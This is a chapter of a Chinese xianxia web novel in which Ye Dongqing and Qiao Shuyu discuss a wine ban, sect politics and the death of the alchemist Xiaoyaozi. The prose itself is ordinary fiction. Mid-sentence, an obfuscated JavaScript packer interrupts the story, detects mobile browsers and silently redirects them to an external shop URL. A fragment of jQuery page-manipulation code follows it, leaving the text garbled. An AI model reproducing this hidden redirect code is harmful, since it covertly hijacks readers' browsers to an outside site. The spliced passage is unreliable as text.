昌平县。
叶冬青房内。
宝蓝色的通讯法阵亮起,乔舒予的影像漂浮在空中。
看背景是书房。
她一只脚踩在椅子上,身后有人将开封好的酒坛递到了她手里。
“仁德县的走向,可和我们当初说好的不一样啊。”
乔舒予挥挥手,侍候的人退了出去。
“又是赤阳宗的金疙瘩,又是清风谷的青花瓷,惊动了二十多个宗门连夜到场,一个无主之地搞得跟开仙盟大会似的!”
“那裴景云也真有意思,执法堂掌司亲自审理,他都敢睁眼说瞎话,一口咬死是他独自诛杀的水草妖,”
乔舒予噗嗤一笑,长臂一伸,从画外捞了一盘葡萄,漫不经心地低头撕着皮。
“一个筑基越三个小境界单杀六阶大妖,他有这能耐不如我们这些人都洗洗睡了,把仙盟盟主让给他做好了。我都不知道你有这人格魅力,能让裴景云替你遮掩。”
叶冬青松了口气,裴景云到底还是信守了承诺。
叶冬青问:“黄粱酒呢?”
乔舒予剥皮的动作一顿,笑眯眯地抬起头来,好整以暇地看着叶冬青:“如你所愿,仙盟的确颁布了黄粱酒禁令。”
叶冬青敏锐地察觉到她后面还有话等着,于是很耐心地没有接话,等着乔舒予继续。
乔舒予觉得他好没意思,明明长了一张妖艳到极点的脸,怎么偏生是个死正经,一点也不好玩。
她问:“你猜猜,这三天黑市里的黄粱酒行情怎么样了?”
乔舒予伸出两根手指。
叶冬青皱眉:“翻倍?”
“嗤。”乔舒予的两根手指交叉,“翻了十番不止。”
“原先黄粱酒就是有市无价,在地下拍卖行这种一掷千金的场合里,就是个添头。”
“如今都是压轴出场了,灵石根本买不了,只能以物易物。”
眼见叶冬青露出意外神色,她眯了眯眼,十分享受这种谈论的八卦牵动别人心绪的感觉。
乔舒予嘻嘻嘲笑道:“你以为揭发虐杀案,从此世人知道黄粱酒是用这么多条人命酿的,就会对它避之不及?”
“天真死了。”
“那些有权有势的修士哪会在乎这么点死人?”
“仙盟越是大张旗鼓地宣扬这酒的制作过程需要多少人命来填,越是给黄粱打响了名头,让更多猎奇的人凑上来。”
她将剥好的葡萄塞进嘴里,汁液沾到指尖,顺手擦在桌面摆放的书皮上。
乔舒予道:“但至少有一件好事,仁德县的事情一出,落在这里的眼睛变多了,那些人就算要继续炮制也会另选别处,你们紫阳山旧址的凡人算是安全了。”
“话说回来,能把这尊青花瓷请到戏台上,你是这个!”乔舒予朝他竖了个大拇指。
叶冬青摇头:“他出现跟我没关系。”
乔舒予盯他看了半晌,见他不像说谎的样子,才把自己原来的怀疑微微压下去一个苗头。
如果叶冬青开始和清风谷合作,那她就得重新掂量一下他们之间的合作关系了。
乔舒予道:“那看来传言是真的。”
叶冬青:“怎么说?”
乔舒予身体往扶手上一歪,伸长腿把桌面上那些摆放整齐的卷轴全扫到一边,两腿交叉架在桌面上。
做完这些,她终于舒服点了,这才想起来接叶冬青的话。
“清风谷那边终于给出了官方说辞:逍遥子炼制新丹方出了岔子,引发了大爆炸,华玄仙尊那一记道仙之力是为了镇压爆炸,将其控制在小范围内,护住清风谷弟子免遭池鱼之殃。”
乔舒予笑着强调:“没有外敌,没有叛徒。”
叶冬青的眉头微微皱了起来。
乔舒予冷笑:“真是把谁当傻子呢。”
“清风谷里面发生了什么,外人打探不出来。”
“可是清风谷往外头散出了这么多人,掘地三尺都要找到人的架势,哪里能瞒得住所有人。”
乔舒予仰天感慨:“羡慕这种话啊,我真是说腻了。”
叶冬青喉咙一滚:“你在说谁?”
他这个反应挺有意思。
“还能是谁?当然是——”
乔舒予刻意停顿,观察着叶冬青的气息。叶冬青今夜有点好奇过了头,往常他对这些宗门秘辛可是一点兴趣都没有的。
顾易安追查的人出现在那里,叶冬青也在那里,未必就真那么巧合。
她停顿了好一会儿,期间还慢悠悠地喝了一杯酒,眼神却透过杯沿一直注视着叶冬青。
叶冬青强压住心头的好奇,只装作若无其事。
他这反应太过于无懈可击。
乔舒予只得开口问:“你在仁德县碰到了顾易安,那有碰到别人吗?”
叶冬青摇头:“我并没有和顾易安碰上面,我留了眼睛在那里,透过眼睛看见除他以外,还有两个清风谷的男弟子。”
他说的眼睛,就是那些纸麻雀。
乔舒予见识过那些麻雀的厉害,点点头赞赏:“我就特别欣赏你谨慎这一点。”
她背贴着软枕,带着几分咬牙切齿的阴狠开口:“我们这位掌司大人啊,少时还算惊艳,被华玄仙尊挖掘之后就一直带在身边,可惜后继乏力。”
“可仙尊也没有因此就放弃她。”
“天材地宝砸进去无数,她堪堪结丹,手里就握着一把华玄仙尊钦赐的九品法刀。”
“这柄刀不仅也是出自上官元奇之手,甚至和华玄仙尊的本命法器取自同一块玄铁。”
“一个金丹哪用得上这种级别的法宝,更何况她出身丹宗,天天就拿着那把九品法刀在药田除草。”
乔舒予说到此处笑了起来,笑意不达眼底,杯中新酒微微晃动。
她如今早已是天丹境巅峰,手中一柄朔云秋所向披靡,若论战绩,远在栀如玉的佩刀之上,但依旧难掩艳羡。
她感叹道:“这世上再也没有比这还要奢侈的用法了。”
叶冬青的手藏在袖子里,无意识地摩挲着虎口处余停山咬出的齿痕。别说刀了,就她那一身法宝衣袍,明眼人一看也知道是个宗门内极受宠的弟子。
就是连裴景云这种才十八岁的黄口小儿都知道,栀如玉的掌司之位是华玄硬扶上去的,乔舒予这种在权力漩涡常驻的人怎么会不知道?
叶冬青对乔舒予还是有些了解的,这位根本不是个好相与的主儿。
她年少成名,背后更有仙盟五常的琼华山作为靠山,若她要掀起波澜,即便是华玄也要给她薄面。
叶冬青问:“走裙带关系上位,在仙盟中和你平起平坐,你能甘心?”
乔舒予面上露出古怪的神色,好像被人一剑戳中痛处,脸色黑了下来。
“年轻的时候,当然不甘心,我花过七年时间查她把柄。”
她仰头将杯中酒一饮而尽,酒杯铿锵敲在扶手上。
“仙盟办案,最讲证据。我集结了整个琼华山的力量终于收集到了一条完整的证据链,绝对可以把她扳倒!”
“可是就当我们开会的时候,一道灵力自殿外震入,我们所有人都被当场震晕了过去,醒来之时,桌上哪还有什么证据,便是储物袋都被人搜过一遍。”
乔舒予摸摸自己的脖子,至今还能感受到当时苏醒之时的恐惧。
来人本可以悄无声息地拿走他们所有的证据,偏偏要选这么明目张胆的方式,堂而皇之地拿走所有证据。
这是一次警告。
若有下次,被拿走的就是项上人头。
乔舒予年少成名,修行之路尽是坦途,自以为自己不过晚生几年,若给她时机与时间,比肩华玄绝不在话下。
却在那一刻彻底清醒:人家如果不想给她时间,她绝对活不到能够威胁华玄的年纪。
“当时在场的还有我娘,能让她毫无反抗就被灵力震晕的,栀如玉做不到。”
乔舒予的母亲是琼华山的掌门,她老人家已逾天丹境数百年,远在栀如玉之上。
乔舒予脸上有些黯然:“即便是现在的我,也做不到。”
能做到的是谁,已经不言而喻。
华玄仙尊亲自撰写并颁布十二法典,他应该是世上最遵纪守法之人,谁也没有想到他会如此行事。
他直接摆明了他的态度,他要保栀如玉。
如果他们这些人再不知好歹,就连最基本的表面关系都再难维系了。
而他们所有人都承担不起这个后果。
叶冬青虎口处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739538|207007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的齿痕被他摩挲出了血,微麻的刺痛感从神经末梢传来,他的动作顿住了。
如果华玄这么保护栀如玉,为何栀如玉还要背叛?
他的耳边响起她的声音,她反反复复,咬牙切齿地喊着“仙尊”二字。她死死咬着他的虎口,眼泪拍打在他手上。
那么受宠的人,为何那么痛苦地喊着“仙尊”?
叶冬青脖子上的齿痕也开始灼热地疼痛,他有些口干舌燥,不由自主地通过只言片语去拼凑他们的过往。
叶冬青问:“那这次……你可以堂而皇之把她除掉了?”
乔舒予长长叹了一口气。
叶冬青:“怎么?”
乔舒予露出无语的表情:“我前面说了,清风谷在捂嘴寻人。”
如果真心要治罪栀如玉,华玄仙尊可以直接调令仙盟三十六宗,海捕文书一旦下达,栀如玉插翅难飞。
可华玄没有。
现在只有清风谷在秘密寻人。
华玄再一次摆明了他的态度。
“即便到了这种田地,仙尊还是在保她。”乔舒予面无表情道。
她手中的酒杯内壁从下朝上攀出几条裂纹。
他们这些人即使猜到了内情,也会心生忌惮,不敢插手。
谁知道他们上赶着抓住栀如玉,最后倒霉的到底是栀如玉还是他们自己。
那两个人之间的事情,外人最好不要插手。
栀如玉造上十次反,未必能真有什么事。
他们这些人,命可只有一条。
叶冬青觉得这逻辑说不通。
顾易安一向最听华玄的话。
“既然华玄要保她,为何青花瓷会在外头?”
乔舒予展唇一笑,这个笑就真情实感多了,甚至带着一点压不住的愉悦。
她晃着酒杯,半晌才慢悠悠道:“逍遥子死了。”
像是平地响起一道惊雷,把叶冬青震得失语。
顾易安是逍遥子唯一的嫡传弟子,他出生的第一天就被接到了逍遥子的手里,跟亲生儿子没有任何区别。
只有逍遥子的死能够让他如此不管不顾,连华玄的命令都敢公然违抗。
不,不对。
叶冬青瞳孔微缩。
通讯法阵安静了好一阵子。
乔舒予很满意他这个反应。
她刚刚听到这个消息的时候,反应可比他热烈多了。
乔舒予慢条斯理地撕着葡萄的皮,等着叶冬青慢慢去悟。
叶冬青脑海里闪过晏山城那场天谴神雷。
三千年前,鉴真仙尊那样已经成功飞升的大能挨了天谴后,也当场身死道消。
华玄仙尊再怎么宣扬人界第一,毕竟还没飞升呢。
晏山城天谴之后,所有人都以为他会死。
但是他活下来了。
因为逍遥子在。
天下唯一的九阶丹师。
整整二十年。
都是他在给华玄吊命。
叶冬青喉咙忽然有些发干。
如果逍遥子死了……
那华玄——
乔舒予欣赏着他骤变的脸色,终于笑出了声。
“看来你终于想明白了。”
她轻轻一笑:“天要变了。”
乔舒予指尖轻轻摩挲着杯沿,不加掩饰的野心从瞳孔中迸发而出。
“栀如玉这次若真能挺到结局,那个位置,未必轮不到她。”
她顿了顿,忽然又笑。
“当然,也未必轮不到别人。”
灵力顺着她指尖荡进酒杯。
杯身裂开的细纹重新愈合。
她重新将酒斟满。
遥遥朝叶冬青举杯。
像庆功酒。
叶冬青看着她,强撑起一抹得体的笑:“那就预祝乔掌司——”
“位登至尊。”
·
乔舒予这一趟还带来了一个好消息。
当年叶冬青抓到姚和森之后,搜魂看到了旻国那一场动乱根源,可是再要往下搜时,突然出现了一个人,把姚和森救走了。
从此,姚和森下落不明,既没有回仙盟,也没有回宗门。
乔舒予花费了不少力气把他的落脚点摸出来了。